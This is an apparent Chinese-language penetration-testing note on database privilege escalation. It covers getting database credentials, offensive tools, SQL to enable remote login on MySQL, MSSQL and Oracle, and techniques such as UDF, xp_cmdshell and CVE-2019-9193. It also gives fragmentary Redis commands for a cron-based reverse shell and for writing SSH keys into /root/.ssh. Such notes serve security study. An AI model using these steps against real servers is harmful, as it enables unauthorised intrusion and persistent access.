权限提升-2
权限提升-2
数据库提权
数据库提权流程:
1、先获取到数据库用户密码
- 网站存在SQL注入漏洞
- 数据库的存储文件或备份文件
- 网站应用源码中的数据库配置文件
- 采用工具或脚本爆破(需解决外联问题)
2、利用数据库提权项目进行连接
工具提权:
MDUT
Databasetools
RequestTemplate
https://github.com/SafeGroceryStore/MDUT
https://github.com/Hel10-Web/Databasetools
https://github.com/1n7erface/RequestTemplate
3、可利用建立代理解决不支持外联
- 利用已知Web权限建立代理(等同于本地连接)
- 利用已知权限执行SQL开启外联(让数据库支持外联)
mysql
1 | GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION; |
mssql
1 | EXEC sp_configure 'show advanced options', 1; |
oracle
1 | ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE; |
4、可利用数据库提权类型条件及技术
MYSQL:PHP+MYSQL 以web入口提权
条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)
技术:UDF MOF 启动项 反弹ShellMSSQL:.NET+MSSQL 以web入口提权
条件:sa密码
技术:xp_cmdshell sp_oacreate CLR 沙盒Oracle:(站库分离,非JSP,直接数据库到系统等)
条件:数据库用户密码
技术:DBA。普通用户,注入模式PostgreSQL
Web到系统
条件:数据库库用户密码
技术:CVE-2019-9193 UDF libc
提权原理:
1 | DROP TABLE IF EXISTS cmd_exec; |
- Redis
数据库到linux
条件:利用未授权或密码连接后执行
1,定时任务反弹shell
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
1 | config set dir /var/spool/cron |
注意:Centos会忽略乱码取执行格式正确的任务计划,而ubuntu并不会忽略这些代码,所有导致命令执行失败
2,写入Linux ssh-key公钥
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可以远程写入公钥,直接登录远程服务器
1 | ssh-keygen -t rsa |
//上述步骤在自己的攻击机器上执行
1 | config set dir /root/.ssh/ |
- Memcached
数据库到linux
条件:设置远程可访问或取得本地权限后访问
是一套常用的key-value缓存系统,由于它本身没有权限控制模块,
服务被攻击者发现,通过命令交互可以直接读取memcached中的敏感信息。